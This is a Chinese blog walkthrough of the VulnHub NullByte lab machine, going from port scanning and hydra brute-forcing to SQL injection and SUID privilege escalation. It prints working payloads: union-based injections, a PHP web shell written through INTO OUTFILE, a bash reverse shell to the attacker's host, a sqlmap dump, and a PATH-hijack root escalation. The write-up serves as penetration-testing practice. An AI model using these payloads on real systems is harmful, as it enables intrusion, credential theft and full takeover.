目录
写在开头
第一步:主机发现与端口扫描
第二步:Web渗透
第三步:hydra密码爆破
第四步:SQL注入大赏
方法一:手工SQL注入之联合查询
方法二:SQL注入写入一句话木马
方法三:SQL注入写入反弹shell
方法四:SQLmap一把梭
第五步:SUID可执行文件提权
总结与思考
写在开头
本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的难度一般,但涉及到许多先前的靶机没有提到的知识点,同时考验了对SQL注入理解,可以有多种方式进行注入,是一台很精巧的靶机。本文的打靶过程涉及到关于图片隐写、hydra密码爆破、SQL注入(联合查询)、SQL注入写shell、suid提权等。打完这个靶机还有一个启发:信息搜集如果能更加完整,会省很多兜圈子的操作。完整打靶思路详见:
「红队笔记」靶机精讲:Nullbyte - SQL注入大赏,4种注入方式,1次呈现!_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
NullByte: 1 ~ VulnHub
下载链接见:
Everything you need to know about DNS services - ly0n.me
本靶机的目标是拿到root权限,并查看/root目录下的flag。下载成功后用vmware打开,将网络链接设置为NAT模式。靶机打开之后如下:
第一步:主机发现与端口扫描
常规思路,命令不细讲了,详情可见:
渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)
使用的命令如下:
nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.139
nmap -sT -sV -O -sC -p80,111,777,59147 10.10.10.139
nmap -sU --min-rate 10000 -p- 10.10.10.139
nmap --script=vuln -p80,111,777,59147 10.10.10.139
网段扫描发现靶机ip是10.10.10.139,扫描全端口发现开放了如下五个端口:80,111,777,59147,说实话除了80之外的几个端口是干啥的咱也不太清楚。
具体查看服务版本、操作系统版本、并使用默认脚本进行扫描结果如下:
nmap -sT -sV -sC -O -p80,111,777,59147 10.10.10.139
收获就是发现777端口就是ssh的端口。这个靶机修改了ssh的默认端口22。漏洞扫描发现web目录下有几个路径,也没有太多收获:
第二步:Web渗透
常规思路,既然开放了80端口,那就打开浏览器看看靶机ip有啥:
有一张放着光芒的慧眼,下面还有一行文字:如果你寻找和谐的法则,那么你会得到知识。嗯~ o(* ̄▽ ̄*)o,很哲学,但并没有看出来对我打靶有什么启发。先开启个目录爆破吧,这回用gobuster扫描试试吧(参数dir表示对目录进行扫描,-w指定字典,-u指定url):
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.139
我这里还是插播一个题外话,红队笔记在进行目录爆破时喜欢采用的字典是/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,但这个字典曾经在红队打靶:KIOPTRIX1.2打靶思路详解(vulnhub)_Bossfrank的博客-CSDN博客
这篇博客的靶机中没有扫到关键的目录(导致兜了一大圈),因如果想要扫描结果相对更全,可以选择/usr/share/wordlists/dirb/big.txt,不过这个靶机好像没啥影响,
总之就是发现了几个关键目录:/uploads /javascript /phpmyadmin。显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径。
再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:
可能这也是个突破口。我们应该想办法找到这里的密码,登录进去寻找更多的信息。也可以尝试弱口令,我试了好几个都没成功。然后再回看初始哪个慧眼的界面,查看源代码看看有没有啥提示:
也没啥提示,就是一张图片+一句话。图片名称为main.gif。至此对于我来讲基本上就束手无策了。不过由于这是个靶机,我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:
先用file看看这个文件的具体信息,确实就是个gif的图像文件。
然后使用exiftools工具查看这个文件的创建时间、权限、内容等源数据信息:
可以看到有一行关于内容的字符串kzMb5nVYJw,这个字符串是干啥的呢?可以尝试phpmyadmin的界面的口令、也可以尝试ssh登录root账号,结果都不对。顺道一提,这个kzMb5nVYJw字符串也可以使用strings命令或者直接用010editer等工具直接查看到:
kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,那我们尝试访问10.10.10.129/kzMb5nVYJw看看有没有啥结果吧:
还真是个目录!这个目录让我们输入Key。
第三步:hydra密码爆破
咱也不知道密码Key是啥,看一下网页源代码有啥提示:
首先我们看到输入框的type是password,name是key,意味着我们要输入密码一类的东西。有一行红字的注释提示:这个表单并不连接到mysql数据库,密码没有那么复杂。这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了。经过尝试了弱口令root,admin,1234,123456,12345678等无果后,我放弃了。失败的情况如下图,提示invalid key,同时看到这个界面的逻辑应该是index.php
下一步干脆就爆破吧。可以用burp这种工具爆破,红队笔记大佬秉承着尽可能少用图形化工具的原则,这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank),然后-P指定爆破脚本,一般靶机都可选择rockyou这个字典。
hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt
破解出来了,密码是elite。鼓励我们,努力打靶的人都是精英!然后咱们用elite输入尝试一下,果然成功了,进入了下一个页面:
第四步:SQL注入大赏
看起来这是个用户名的查询页面,查看源代码发现这个界面与420search.php这个后端文件有交互。除此之外也看不出啥了。
既然是用户名的查询页面,我们就尝试输入几个短字符串看看有什么反应,如果什么也不输入,直接回车,结果如下:
看到有两个用户名,ramses和isis。输入其他字符串,如果输入的字符串是ramses或isis的子串,那么会把这两个用户查出来,否则结果如下,我们搜索bossfrank:
没有查到任何结果。既然是查询,很可能与数据库有交互,这里是否存在SQL注入呢,我们试一试仅仅输入一个单引号'查询,看看有没有报错:
很可惜,并无报错。那继续尝试其他可能构成闭合或阶段的字符,比如'\/#)("等,发现确实有报错
进一步排查发现,出现问题的位置是双引号,添加一个双引号即可构成报错:
那么我们用双引号构造万能密码试试:
" or 1=1 -- -
可以查出所有的账号!看了此处确实存在SQL注入!
接下来进入本靶机最精彩的环节了!红队笔记大佬给出了四种注入方式,我将在这里进行一一详解。这四种方式最终都可以拿到ssh登录的凭据。
方法一:手工SQL注入之联合查询
最基本的方法还是手工注入,可以更加明确注入的逻辑。首先确定列数,由前面看到的两个用户名信息感觉应该是3列,可以用order by 进行测试(按照第几列进行排序),先试试三列对不对:
"order by 3 -- -
其中的-- -用于注释,其实只要--空格即可,再添加一个-方便我们看到空格。
三列没有报错,说明至少有三列,那么再试试4列"order by 4 -- -
按照第四列排序就会有报错,提示第四列未知。看来就是一共有三列。下一步,在三列的字段分别查看当前数据库、数据库版本、当前登录用户:
" union select database(),@@version,user() -- -
可以看到当前数据库名为seth,数据库版本是5.5.44-0,高于5.1(存在information_schema这个数据库),数据库登录用户为root。下一步查看有哪些数据库:
" union select table_schema, 2, 3 from information_schema.tables -- -
在MySQL>5.1的版本中存在一个名为information_schema的数据库,这个数据库中有一个名为tables的表,其中有一列为table_schema,记录了所有的数据库名称,结果如下:
可以看到一共有5个数据库,分别是information_schema,mysql,perforence_schema,phpmyadmin,seth。显然我们最为关注的是seth这个数据库。然后查看seth数据库中有哪些表:
" union select table_name,2,3 from information_schema.tables where table_schema = "seth" -- -
information_schema.tables中同时有一列名为"table_name"的列,记录了数据库中所有的表名,上述语句即为查询数据库名称为seth时有哪些表
如上图所示,看来整个seth数据库就一张数据表,名为users,接下来我们只要查看这个表中的列即可:
" union select column_name,2,3 from information_schema.columns where table_schema = "seth" and table_name = "users" -- -
结果如下:
可看到users表中一共有四个字段,分别是id,user,pass,position,我们直接通过联合查询注入的昂是查找其中的前三个字段(一次最多显示三列)
" union select id, user, pass from users -- -
可以看到有一个用户的账号是ramses,密码是YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE,这个密码看起来经过了base64编码,我们可以尝试进行base64解密:
echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE' | base64 -d
其中-d参数表示解密,允许结果如下:
解密出的字符是:c6d6bd7ebf806f43c76acc3681703b81
感觉解密出的字符串像是md5加密的字符,可以用hash-identifier识别一下:
确实是。那我这里图个方便,直接找个在线网站解密md5即可:
Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online
解出来密码是omega,可以尝试ssh登录ramses账号,注意修改端口号为777,而非ssh默认的22端口。
ssh ramses@10.10.10.139 -p 777
登录成功,下一步就可以提权了!不过我们这里暂缓提权,先讨论其它注入的方式。
方法二:SQL注入写入一句话木马
采用另外一种方法进行注入获取登录凭据。我们尝试通过注入写入一句话php木马,一句话木马如下:
<?php system($_GET['a']);?>
实际上,注入时能写入文件的前提有两点:
1.数据库secure_file_priv参数为空,即我们具有写的权限。
2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。
实际渗透测试过程中,可以不用判断这两个前提,直接尝试写入一句话木马,如果不行再分析原因。
由于我们已经知道数据库有三列数据,因此通过注入写入一句话木马的语句是(此处把写入的一句话木马文件命名为shell.php),其中into outfile用于写入多行的文本文件:
" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -
貌似写入成功了。我们尝试能否通过a参数指令执行命令,先执行个ls试试:
执行成功了!那么我们使用curl指令执行命令吧,尝试读取一些敏感文件,存在注入的页面的源代码提示我们这个界面与420search.php这个后端文件有交互,那我们就尝试读取420search.php即可:
curl http://10.10.10.139/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php
特别注意:指令cat /var/www/html/kzMb5nVYJw/420search.php中的空格由于是存在于url中,因此需要将空格url编码为%20。读取成功了:
看到了一些敏感信息,发现数据库的密码是sunnyvale。那么我们可以尝试使用此密码登录phpmyadmin的管理界面。登录成功!
如上图,可以查看所有表的信息。自然就能发现数据库seth中的表users存储了ssh登录用户的凭据。接下来的操作就是base64解码和md5解密,不赘述了。
方法三:SQL注入写入反弹shell
既然可以写入一句话木马,那当然也可以直接写入反弹shell的php语句直接拿到shell,反弹shell的php语句为(注意修改接收反弹shell的ip【我的kali是10.10.10.128】和端口):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>
我们同样可以通过注入的方式直接把这行代码写入/uploads/目录,命名为reverse.php,注入语句如下:
" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/reverse.php" -- -
特别注意由于php语句是在双引号内,因此php语句中出现的双引号需要加\进转义。
貌似又注入成功后,开启nc监听1234端口:
然后浏览器访问靶机ip/uploads/reverse.php,成功触发了反弹shell:
同样的思路,我们直接在这个shell查看420search.php即可:
然后同样的思路来到phpmyadmin登录寻找凭据即可。
方法四:SQLmap一把梭
最后这个方法就是一键梭哈。在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了。
可以直接SQLmap直接跑一下,也不用按照数据库、表、列、字段慢慢爆,干脆直接--dump看所有结果:
sqlmap -u 'http://10.10.10.139/kzMb5nVYJw/420search.php?usrtosearch=' --dump
然后就是base64解码和md5解密了,不再赘述。听红队笔记大佬的话:先懂原理,再用工具。
第五步:SUID可执行文件提权
先ssh登录ramses
ssh ramses@10.10.10.139 -p 777
密码omega
然后经过一番搜索无果、sudo -l没有提示、cat /etc/crontab也没找到定时任务后,决定看看历史记录,找找有没有啥启发,直接输入history,如下:
可以发现运行了/var/www/backup/procwatch,那么我们也尝试进入这个目录,查看procwatch这个文件是干啥的:
cd /var/www/backup
ls -liah
注意在权限中具有s位,说明该文件运行时具有其属主的权限,也就是root的权限。查看一下相同目录下的readme.txt:
我必须要搞定这一坨混乱。这是说啥呀,咱也没明白。尝试用运行procwatch,看看发生了什么:
发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。
首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:
ln -s /bin/sh ps
然后我们修改环境变量,将当前目录.追加到环境变量的最开始:
export PATH=.:$PATH
在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高。也就是说,在我们将当前目录追加到环境变量的最开始位置之后,如果系统运行ps命令(即运行procwatch),会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh。
然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了。
如下图,果然,此时运行procwatch即可提权成功!
然后我们进入/root目录寻找flag,是proof.txt
至此打靶完成!
总结与思考
这个靶机很精巧,是个很值得练手的靶机。考察了对于SQL注入的理解。虽然SQLmap一把梭的方法很快,但还是要从根本上理解SQL语句和注入的原理。另外通过SQL写入shell的方法也很经典,值得我们学习。在进行提权的时候,通过查看历史命令的方法,找到了具有s权限的文件。这启发我们拿到靶机的初始shell后可以通过查看历史命令获得启发。具有s权限的文件对于提权有重要意义,查找s权限的文件可以直接使用如下的find命令进行搜索:
find / -perm -u=s -type f 2>/dev/null
所谓提取,就是通过某些方式,使得低权限的用户可以执行高权限的操作。本次提取的核心就是利用s位属主root的执行权限。同时通过软连接+修改环境变量的方式对ps指令进行了劫持,运行时即可触发提取。最后还是总结一下打靶的全过程:
1.主机发现和端口扫描:常规思路,发现ssh端口为777.
2.web渗透,通过查看图片文件的字符串信息发现字符串kzMb5nVYJw,经过尝试发现是web目录,进入后发现有一个文本框需要输入key
3.网页源代码提示key不复杂,使用hydra进行爆破,成功的得到key为elite
4.输入elite后,成功进入了一个用户名查询页面,输入框输入双引号"会触发SQL报错,判断存在SQL注入,可通过四种方式注入,最终拿到ssh的登录凭据。
5.ssh登录,寻找具有s权限的文件,发现/www/var/www/backup/procwatch,通过软连接+修改环境变量的方式对ps指令进行了劫持,运行procwatch即可触发提取。
到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!